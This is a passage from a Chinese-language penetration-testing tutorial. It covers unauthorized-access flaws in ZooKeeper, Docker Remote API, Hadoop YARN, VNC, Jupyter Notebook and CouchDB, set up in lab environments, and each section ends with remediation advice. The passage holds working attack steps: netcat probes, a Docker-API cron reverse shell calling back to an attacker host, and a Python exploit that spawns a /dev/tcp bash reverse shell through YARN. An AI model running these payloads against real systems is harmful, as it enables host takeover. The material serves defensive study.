八、Zookeeper未授权访问

0x01 漏洞原因

  zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。

0x02环境搭建
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gztar -xzvf zookeeper-3.4.14.tar.gz cd zookeeper-3.4.14/confmv zoo_sample.cfg zoo.cfg../bin/zkServer.sh start # 启动

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_cluster mysqld未连接

0x03 漏洞测试

(1):查看目标主机IP

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_02

(2):测试连接

需要安装java环境,否则会报错。

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_cluster mysqld未连接_03

  • 使用kali进行连接
echo envi | nc 192.168.223.165 2181    #查看有关服务环境的详细信息

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_docker开启远程访问_04

echo stat | nc 192.168.223.165 2181     #性能和连接的客户端的统计信息

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_05

echo ruok | nc 192.168.223.165 2181       #测试服务器是否运行在非错误状态

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_06

echo reqs | nc 192.168.223.165 2181      #查看服务器未完成的请求

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_07

echo dump | nc 192.168.223.165 2181      #查看未完成的会话和节点

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_cluster mysqld未连接_08

  • 使用zookeeper可视化管理工具进行连接
下载地址:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_docker开启远程访问_09

0x04 修复建议

 (1):添加用户名密码认证,设置ip访问控制

 (2):禁止把Zookeeper直接暴露在公网

 (3):绑定指定IP进行访问,修改 ZooKeeper 默认端口,采用其他端口服务

九、Docker未授权访问

0x01 漏洞原因

  docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建container,删除已有 container,甚至是获取宿主机的 shell。

0x02 环境搭建
cd vulhub/docker/unauthorized-rce/docker-compose up -ddocker-compose build

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_10

netstat -ano | grep 2375

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_docker开启远程访问_11

查看docker版本。

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_docker开启远程访问_12

0x03 漏洞利用

通过docker daemon api 执行docker命令。

(1):新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。

docker -H tcp://192.168.223.173:2375 run -id -v /etc/crontabs:/tmp alpine:latest

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_13

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_14

(2):进入容器

docker -H tcp://192.168.223.173:2375 exec -it 079493dfd697 sh

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_cluster mysqld未连接_15

(3):在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root

echo '* * * * * /usr/bin/nc VPS IP 4444 -e /bin/sh' >> /tmp/root

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_cluster mysqld未连接_16

(3):本地监听端口,获取对方宿主机shell

nc -lvp 4444

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_cluster mysqld未连接_17

0x04 修复建议

(1):简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则

(2):修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行

十、Hadoop Yarn REST API未授权访问

0x01 漏洞原因

  Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题。

0x02 环境搭建

使用vulhub进行环境搭建。

cd vulhub/hadoop/unauthorized-yarn/ls

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_18

docker-compose up -d

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_19

访问目标主机的8088端口,成功访问到Hadoop页面。

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_20

0x03 漏洞利用

利用exp

#!/usr/bin/env pythonimport requeststarget = 'http://192.168.223.173:8088/'  # 目标主机IPlhost = '192.168.223.160' # 攻击方的IP地址(kali的IP)url = target + 'ws/v1/cluster/apps/new-application'resp = requests.post(url)app_id = resp.json()['application-id']url = target + 'ws/v1/cluster/apps'data = {    'application-id': app_id,    'application-name': 'get-shell',    'am-container-spec': {        'commands': {            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,        },    },    'application-type': 'YARN',}requests.post(url, json=data)

(1):在目标主机上监听端口

nc -lvp 9999

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_cluster mysqld未连接_21

(2):执行exp

需要安装simplejson,使用python3执行。

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_docker开启远程访问_22

(3):成功getshell

nc -lvp 9999

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_cluster mysqld未连接_23

0x04 修复建议

(1):开启身份验证,防止未经授权用户访问

(2):修改默认端口

(3):部署Knox、Nginx之类的反向代理系统,防止未经授权用户访问

(4):设置“安全组”访问控制策略,将Hadoop默认开放的多个端口对公网全部禁止或限制可信任的IP地址才能访问包括50070以及WebUI等相关端口

十一、VNC未授权访问

0x01 漏洞原因

  VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制target主机。

0x02 环境搭建
下载地址:https://archive.realvnc.com/download/open/4.0/

靶机:windows Server 2008(192.168.223.169)

攻击主机:kali(192.168.223.160)

(1):下载环境

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_docker开启远程访问_24

(2):进行安装

一直默认安装即可。

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_25

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_26

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_docker开启远程访问_27

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_cluster mysqld未连接_28

没有强制配置密码。

0x03 漏洞利用

在kali中输入如下命令

vncviewer 192.168.223.169

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_29

连接成功,但是目标系统是黑屏,在网上查看解决方案,大多数给的是Linux相关的解决方案,目前还在查找相关解决方案,希望大佬指教。

0x04 修复建议

(1):配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码

(2):以最小普通权限身份运行操作系统

十二、Jupyter Notebook未授权访问

0x01 漏洞原因

  Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。

0x02 环境搭建
cd vulhub/jupyter/notebook-rce/lsdocker-compose up -d

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_30

访问8888端口。

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_cluster mysqld未连接_31

成功登录。

0x03 漏洞利用

(1):新建Terminal

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_cluster mysqld未连接_32

(2):执行命令

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_33

0x04 修复建议

(1):开启身份验证,防止未经授权用户访问

(2):访问控制策略,限制IP访问,绑定固定IP

十三、CouchDB未授权访问

0x01 漏洞原因

  Apache CouchDB是一个开源数据库。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。

  在官方配置文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。

0x02 环境搭建
cd vulhub/couchdb/CVE-2017-12636lsdocker-compose up -d

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_34

访问5984端口

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_35

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_36

0x03 漏洞利用

(1):查看网页内容

Apache ZooKeeper 安全漏洞 zookeeper未授权漏洞修复_zookeeper 未授权访问_37

拓展说明:可以利用CouchDB进行命令执行成功getshell。但是有一个前提条件,那就是必有一个管理员账户和密码,如果没有管理员账户和密码就无法执行exp来进行反弹shell。其实我们可以结合CVE-2017-12635这个漏洞来创建一个管理员账户,然后使用CVE-2017-12636漏洞来进行反弹shell。由于该文章只是介绍未授权访问,因此不再赘述。在此附上相关链接:https://www.codercto.com/a/19372.html

0x04 修复建议

(1):绑定指定ip,只有指定IP才能访问

(2):设置访问密码

致谢:感谢各位前辈大佬的文章,参考各位文章学习到很多相关知识。